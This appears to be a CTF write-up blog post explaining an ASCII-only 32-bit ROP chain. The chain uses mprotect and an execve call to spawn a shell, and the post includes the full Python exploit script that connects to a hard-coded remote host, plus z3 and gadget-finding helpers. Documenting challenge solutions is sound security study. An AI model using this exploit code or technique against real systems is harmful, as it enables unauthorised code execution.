One important detail is that the authors made it easier to solve by mapping a certain (provided) libc file directly into R-X memory starting at an ASCII-friendly address of 0x5555E000 - this was to be the main and only source of gadgets for this task.
So all that was left was to create an ASCII-friendly (w/o whitechars) ROP chain that gets either a shell or the flag directly. And it took me about an hour per controlled register (so ~5 hours total) to do it.
The exploit with quoted gadgets is provided at the end of this post, but before I'll get there here are some notes on my approach:
- For gadget gathering I used a custom distorm3-based script that outputted only gadgets on ASCII-friendly addresses (it's at the end of the post).
- Initial idea was to use mmap syscall to allocate a new RWX memory area, but that plan backfired since 32-bit mmap requires a defined structure in memory and I didn't really have an easy way to access writable memory (non-ASCII-friendly addresses).
- Eventually I went after mprotect syscall to change 0x5555E000 area's permissions to RWX; mprotect required me to control 3 registers for parameters (EBX, ECX and EDX) and EAX for syscall number (and, as it turned out, ESI for the syscall invocation).
- I started by doing a simple experiment to check how flexible mprotect's parameters really are (I've done it in a separate simple test program); thanks to this I found out that:
- The address parameter MUST be page aligned (well, I actually already knew that).
- The size parameter can be anything large; if it's too large mprotect returns an error, but still successfully remaps the existing pages to desired access rights (this I didn't know).
- The protection flags (permissions) parameter isn't too flexible; value 0xF (instead of 7) still worked, but that's about it (any other bytes set made mprotect fail). - The first gadget I found was EB FE (jmp $ - i.e. infinite loop) which is super useful for debugging purposes (i.e. checking until what moment the ROP chain works correctly).
- The rest of the way I went register-by-register, focusing on a single one until I was able to assign it the desired value.
- For EDX (see setup_edx_flags) register I used three ASCII-friendly subtractions to get value 7 (representing RWX) into the register. The values themselves (0x6b5e7b63 - 0x3b363f38 - 0x30283c24 → 7) were generated using a simple helper z3 script (attached after the exploit near the end of this post). A lot of registers were corrupted due to the low quality of gadgets I had, so it was first on the execution list.
- For EBX (see setup_ebx_addr) register I used three ASCII-friendly xor's to get address 0x55562000. Note that this isn't the beginning of the memory area, since you cannot get bytes with most significant bits set using ASCII-friendly xor's (i.e. you couldn't get the 0xE0 byte from 0x5555E000; but that's OK). Again, the values I've used were z3 generated (0x28243062 ^ 0x24222c22 ^ 0x59503c40 → 0x55562000).
- For EAX (see setup_eax_mprotect) I've initially set the register to 0x4141417d and then used a movzx eax, al gadget the clear top 24-bits leaving only 0x7d (i.e. mprotect syscall number).
- For ECX I didn't have to do anything, as it already had a sufficiently large value when the syscall was to be executed. Lucky me :)
- Invoking the syscall (or actually a int 0x80 gadget) turned out to be tricky, as none of the gadgets were on ASCII-friendly addresses. I've ended up calculating the gadget address into ESI register (again, courtesy of z3: 0x69787631 + 0x7c74247b + 0x6f783045 → 0x5564caf1) and then using a fun little push esi; ret gadget which jumped to the int 0x80.
- The above chain piece gave ma a writable and executable memory area. I initially thought of putting a shellcode there, but in the end it was sufficient to put (see poke) "/bin//sh" string on an address that had a null-byte naturally occurring at the end of said string, and then use that for execve function call (not to be confused with the execve syscall).
- I've jumped to the execve function using exactly the same method I used to jump to the int 0x80 gadget. The parameters (on the stack, as, again, it was a function call and not a syscall invocation) included the address of the aforementioned "/bin//sh\0" string, followed by two addresses of a NULL ptr in memory (these would be treated as "empty argv" and "empty envp" tables).
And that was it.
gynvael:haven> python pwnbase.py
Final ROP length: 312
You maybe feel some familiar with this challenge ?
Yes, I made a little change
GO : )
cat /home/char/flag
flag{Asc11_ea3y_d0_1t???}
A pretty fun task :)
The full exploit follows (and the z3 script is at the bottom).
#!/usr/bin/python
import sys
import socket
import telnetlib
import os
import time
from struct import pack, unpack
def recvuntil(sock, txt):
d = ""
while d.find(txt) == -1:
try:
dnow = sock.recv(1)
if len(dnow) == 0:
print "-=(warning)=- recvuntil() failed at recv"
print "Last received data:"
print d
return False
except socket.error as msg:
print "-=(warning)=- recvuntil() failed:", msg
print "Last received data:"
print d
return False
d += dnow
return d
def recvall(sock, n):
d = ""
while len(d) != n:
try:
dnow = sock.recv(n - len(d))
if len(dnow) == 0:
print "-=(warning)=- recvuntil() failed at recv"
print "Last received data:"
print d
return False
except socket.error as msg:
print "-=(warning)=- recvuntil() failed:", msg
print "Last received data:"
print d
return False
d += dnow
return d
# Proxy object for sockets.
class gsocket(object):
def __init__(self, *p):
self._sock = socket.socket(*p)
def __getattr__(self, name):
return getattr(self._sock, name)
def recvall(self, n):
return recvall(self._sock, n)
def recvuntil(self, txt):
return recvuntil(self._sock, txt)
# Base for any of my ROPs.
def db(v):
return pack("<B", v)
def dw(v):
return pack("<H", v)
def dd(v):
return pack("<I", v)
def dq(v):
return pack("<Q", v)
def rb(v):
return unpack("<B", v[0])[0]
def rw(v):
return unpack("<H", v[:2])[0]
def rd(v):
return unpack("<I", v[:4])[0]
def rq(v):
return unpack("<Q", v[:8])[0]
def set1(ebx=0x41414141, esi=0x41414141, edi=0x41414141, ebp=0x41414141):
"""
0x5557506c pop ebx
0x5557506d pop esi
0x5557506e pop edi
0x5557506f pop ebp
0x55575070 ret
"""
return ''.join([
dd(0x5557506c),
dd(ebx),
dd(esi),
dd(edi),
dd(ebp)
])
def set_ebx(ebx):
"""
0x556a7742 pop ebx
0x556a7743 ret
"""
return ''.join([
dd(0x556a7742),
dd(ebx)
])
def set_eax(eax): # Destroys ECX.
return ''.join([
set_ecx(eax),
mov_eax_ecx()
])
def set_esi(esi):
"""
0x55686c72 pop esi
0x55686c73 ret
"""
return ''.join([
dd(0x55686c72),
dd(esi)
])
def set_ecx(ecx): # AL+0xA
"""
0x556d2a51 pop ecx
0x556d2a52 add al, 0xa
0x556d2a54 ret
"""
return ''.join([
dd(0x556d2a51),
dd(ecx)
])
def mov_eax_ecx():
"""
0x556a6253 mov eax, ecx
0x556a6255 ret
"""
return dd(0x556a6253)
def set_edx_edi(edx=0x41414141, edi=0x41414141): # Zeroes EAX
# 0x555f3555 pop edx
# 0x555f3556 xor eax, eax
# 0x555f3558 pop edi
# 0x555f3559 ret
return ''.join([
dd(0x555f3555),
dd(edx),
dd(edi),
])
def set_ebp(ebp):
"""
0x5557506f pop ebp
0x55575070 ret
"""
return ''.join([
dd(0x5557506f),
dd(ebp)
])
def add_esi_ebx():
"""
0x555c612c add esi, ebx
0x555c612e ret
"""
return dd(0x555c612c)
def ret_to_esi():
"""
0x556d262a push esi
0x556d262b ret
"""
return dd(0x556d262a)
def mov_ptr_edx_edi():
"""
0x55687b3c mov [edx], edi
0x55687b3e pop esi
0x55687b3f pop edi
0x55687b40 ret
"""
return ''.join([
dd(0x55687b3c),
dd(0x41414141),
dd(0x41414141),
])
def poke(addr, v):
return ''.join([
set_edx_edi(addr, v),
mov_ptr_edx_edi(),
])
def setup_esi_syscall():
# desired = 0x000EEAF1 + 0x5555E000
# Constants generated by z3 helper script.
a2 = 0x69787631
a1 = 0x7c74247b
a3 = 0x6f783045
# Test: 0x5564caf1L (True)
return ''.join([
set_esi(a1),
set_ebx(a2),
add_esi_ebx(),
set_ebx(a3),
add_esi_ebx()
])
def setup_esi_execve():
# desired = 0xB85E0 + 0x5555E000
# Constants generated by z3 helper script.
# sat
a2 = 0x69747441
a1 = 0x7378747e
a3 = 0x78747d21
# Test: 0x556165e0L (True)
return ''.join([
set_esi(a1),
set_ebx(a2),
add_esi_ebx(),
set_ebx(a3),
add_esi_ebx()
])
def sub_edx_eax(): # Destroys: EAX, ESI, EDI, EBP
"""
0x5560365c sub edx, eax
0x5560365e pop esi
0x5560365f mov eax, edx
0x55603661 pop edi
0x55603662 pop ebp
0x55603663 ret
"""
return ''.join([
dd(0x5560365c),
dd(0x41414141),
dd(0x41414141),
dd(0x41414141)
])
def setup_ebx_addr():
# Constants generated by z3 helper script.
a2 = 0x28243062
a1 = 0x24222c22
a3 = 0x59503c40
# Test: 0x55562000L (True)
return ''.join([
set_ebx(a1),
set_ebp(a2),
xor_ebx_ebp(),
set_ebp(a3),
xor_ebx_ebp()
])
def setup_edx_flags():
# Constants generated by z3 helper script.
a1 = 0x6b5e7b63
a2 = 0x3b363f38
a3 = 0x30283c24
# Manual test: 7 True
return ''.join([
set_edx_edi(a1),
set_eax(a2),
sub_edx_eax(),
set_eax(a3),
sub_edx_eax(),
])
def zeroext_al(): # Destroys EDI, EBP
"""
0x55672a79 movzx eax, al
0x55672a7c pop edi
0x55672a7d pop ebp
0x55672a7e ret
"""
return ''.join([
dd(0x55672a79),
dd(0x41414141),
dd(0x41414141),
])
def setup_eax_mprotect():
return ''.join([
set_eax(0x4141417d), # 7d is mprotect
zeroext_al()
])
def xor_ebx_ebp():
"""
0x5563364b xor ebx, ebp
0x5563364d ret
"""
return dd(0x5563364b)
def ebfe():
return dd(0x55585559)
def genrop():
rop = ''.join([
"AAAA" * 8, # Padding.
setup_edx_flags(), # Don't touch EDX after this. Destroys: EAX ESI
# EDI EBP
# ECX
setup_esi_syscall(), # Don't touch ESI after this. Destroys: EBX
setup_ebx_addr(), # Don't touch EBX after this. Destroys: EBP
setup_eax_mprotect(), # Don't touch EAX after this. Destroys: ECX EDI
# EBP
ret_to_esi(), "AAAA" * 4, # int 0x80 gadget pops 4x regs.
# Assume from now: 55562000-55702000 rwxp 00004000
poke(0x55563333 + 0, rd("/bin")),
poke(0x55563333 + 4, rd("//sh")),
setup_esi_execve(), # Don't touch ESI after this. Destroys: EBX
ret_to_esi(), dd(0x41414141),
dd(0x55563333), dd(0x556b5274), dd(0x556b5274), # Args
ebfe()
])
print "Final ROP length:", len(rop)
if len(rop) > 2400:
sys.exit("ROP is waaay too long.")
if not all(map(lambda x: ord(x) in range(32, 127), rop)):
sys.exit("ROP GEN FAILED:" + ''.join(map(lambda x:hex(ord(x)), filter(lambda x: ord(x) not in range(32, 127), rop))))
return rop
def go():
global HOST
global PORT
rop = genrop()
#with open("chain.rop", "wb") as f:
# f.write(rop)
#return
s = gsocket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# Put your code here!
s.sendall(rop)
# Interactive sockets.
t = telnetlib.Telnet()
t.sock = s
t.interact()
# Python console.
# Note: you might need to modify ReceiverClass if you want
# to parse incoming packets.
#ReceiverClass(s).start()
#dct = locals()
#for k in globals().keys():
# if k not in dct:
# dct[k] = globals()[k]
#code.InteractiveConsole(dct).interact()
s.close()
HOST = '202.120.7.214'
PORT = 23222
go()
The simple z3 helper script to generate values (it's rather simple and boils down to "I can do two subtractions/additions/xors on 32-bit ASCII-friendly values; give me specific values that will result in obtaining the desired value"):
from z3 import *
import json
desired = 0xB85E0 + 0x5555E000 # The final value.
a1 = BitVec("a1", 32)
a2 = BitVec("a2", 32)
a3 = BitVec("a3", 32)
res = a1 + a2 + a3 # The operation (addition in this case).
s = Solver()
s.add(res == desired)
for a in [a1, a2, a3]:
for b in [0, 8, 16, 24]:
bb = ((a >> b) & 0xff)
s.add(bb > 32, bb <= 126)
print s.check()
s.model()
# Dumping the calculated values and testing the model again.
test = 0
for reg in list(s.model()):
reg_name = str(reg)
reg_value = s.model()[reg].as_long()
test = (test + reg_value) & 0xffffffff
print "%s = %s" % (reg_name, hex(reg_value))
print "# Test: ", hex(test), "(" + str(test == desired) + ")"
And the custom ROP gadget gathering script:
import distorm3 # https://code.google.com/p/distorm/downloads/list
import struct
# XXX Setup here XXX
TARGET_FILE = "libc.so"
FILE_OFFSET_START = 0 # In-file offset of scan start
FILE_OFFSET_END = 1717736 # In-file offset of scan start
VA = 0x5555E000 # Note: PC is calculated like this: VA + given FILE_OFFSET
X86_MODE = distorm3.Decode32Bits # just switch the 32 or 64
# XXX End of setup XXX
UNIQ = {}
def DecodeAsm(pc, d):
global X86_MODE
disasm = distorm3.Decode(pc, d, X86_MODE)
k = []
l = ""
ist = ""
for d in disasm:
#print d
addr = d[0]
size = d[1]
inst = d[2].lower()
t = "0x%x %s" % (addr,inst)
l += t + "\n"
ist += "%s\n" % (inst)
k.append((addr,inst))
if inst.find('ret') != -1:
break
return (l,k,ist)
d = open(TARGET_FILE, "rb").read()
for i in xrange(FILE_OFFSET_START,FILE_OFFSET_END):
addr = VA+i
s = map(lambda x: ord(x) in range(32, 127), struct.pack(">I", addr))
if not all(s):
continue
(cc,kk,ist) = DecodeAsm(VA+i, d[i:i+10])
if cc.find('ret') == -1:
continue
if cc.find('iret') != -1:
continue
if cc.find('db ') != -1:
continue
if ist in UNIQ:
continue
UNIQ[ist] = True
print "------> offset: 0x%x" % (i + VA)
for k in kk:
print "0x%x %s" % (k[0],k[1])
if k[1].find('ret') != -1:
break
print ""
awesome
ReplyDeleteThis comment has been removed by the author.
ReplyDelete